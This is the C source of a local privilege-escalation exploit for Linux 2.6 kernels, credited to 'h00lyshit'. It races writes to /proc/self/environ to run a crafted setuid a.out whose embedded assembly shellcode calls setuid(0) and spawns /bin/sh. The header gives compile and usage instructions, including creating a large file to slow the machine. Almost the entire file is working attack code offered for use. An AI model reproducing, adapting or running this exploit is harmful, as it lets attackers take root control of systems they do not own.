/*
** Author: h00lyshit
** Vulnerable: Linux 2.6 ALL
** Type of Vulnerability: Local Race
** Tested On : various distros
** Vendor Status: unknown
**
** Disclaimer:
** In no event shall the author be liable for any damages
** whatsoever arising out of or in connection with the use
** or spread of this information.
** Any use of this information is at the user's own risk.
**
** Compile:
** gcc h00lyshit.c -o h00lyshit
**
** Usage:
** h00lyshit <very big file on the disk>
**
** Example:
** h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1
**
** if y0u dont have one, make big file (~100MB) in /tmp with dd
** and try to junk the cache e.g. cat /usr/lib/* >/dev/null
**
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/a.out.h>
#include <asm/unistd.h>


static struct exec ex;
static char *e[256];
static char *a[4];
static char b[512];
static char t[256];
static volatile int *c;


/*  h00lyshit shell code    */
__asm__ ("  __excode:  call  1f      \n"
   "  1:    mov  $23, %eax    \n"
   "      xor  %ebx, %ebx    \n"
   "      int  $0x80      \n"
   "      pop  %eax      \n"
   "      mov  $cmd-1b, %ebx    \n"
   "      add  %eax, %ebx    \n"
   "      mov  $arg-1b, %ecx    \n"
   "      add  %eax, %ecx    \n"
   "      mov  %ebx, (%ecx)    \n"
   "      mov  %ecx, %edx    \n"
   "      add  $4, %edx    \n"
   "      mov  $11, %eax    \n"
   "      int  $0x80      \n"
   "      mov  $1, %eax    \n"
   "      int  $0x80      \n"
   "  arg:    .quad  0x00, 0x00    \n"
   "  cmd:    .string    \"/bin/sh\"  \n"
   "  __excode_e:  nop        \n"
   "  .global    __excode      \n"
   "  .global    __excode_e      \n"
  );



extern void (*__excode) (void);
extern void (*__excode_e) (void);


void
error (char *err)
{
  perror (err);
  fflush (stderr);
  exit (1);
}


/*  exploit this shit  */
void
exploit (char *file)
{
  int i, fd;
  void *p;
  struct stat st;

  printf ("\ntrying to exploit %s\n\n", file);
  fflush (stdout);
  chmod ("/proc/self/environ", 04755);
  c = mmap (0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, 0, 0);
  memset ((void *) c, 0, 4096);

  /*      slow down machine       */
  fd = open (file, O_RDONLY);
  fstat (fd, &st);
  p =
    (void *) mmap (0, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
  if (p == MAP_FAILED)
    error ("mmap");
  prctl (PR_SET_DUMPABLE, 0, 0, 0, 0);
  sprintf (t, "/proc/%d/environ", getpid ());
  sched_yield ();
  execve (NULL, a, e);
  madvise (0, 0, MADV_WILLNEED);
  i = fork ();

  /*      give it a try           */
  if (i)
    {        
      (*c)++;
      !madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise");
      prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
      sched_yield ();  
    }
  else
    {
      nice(10);
      while (!(*c));
    sched_yield ();
      execve (t, a, e);
      error ("failed");
    }

  waitpid (i, NULL, 0);
  exit (0);
}


int
main (int ac, char **av)
{
  int i, j, k, s;
  char *p;

  memset (e, 0, sizeof (e));
  memset (a, 0, sizeof (a));
  a[0] = strdup (av[0]);
  a[1] = strdup (av[0]);
  a[2] = strdup (av[1]);

  if (ac < 2)
    error ("usage: binary <big file name>");
  if (ac > 2)
    exploit (av[2]);
  printf ("\npreparing");
  fflush (stdout);

  /*      make setuid a.out       */
  memset (&ex, 0, sizeof (ex));
  N_SET_MAGIC (ex, NMAGIC);
  N_SET_MACHTYPE (ex, M_386);
  s = ((unsigned) &__excode_e) - (unsigned) &__excode;
  ex.a_text = s;
  ex.a_syms = -(s + sizeof (ex));

  memset (b, 0, sizeof (b));
  memcpy (b, &ex, sizeof (ex));
  memcpy (b + sizeof (ex), &__excode, s);

  /*      make environment        */
  p = b;
  s += sizeof (ex);
  j = 0;
  for (i = k = 0; i < s; i++)
    {
      if (!p[i])
  {
    e[j++] = &p[k];
    k = i + 1;
  }
    }

  /*      reexec                  */
  getcwd (t, sizeof (t));
  strcat (t, "/");
  strcat (t, av[0]);
  execve (t, a, e);
  error ("execve");
  return 0;
}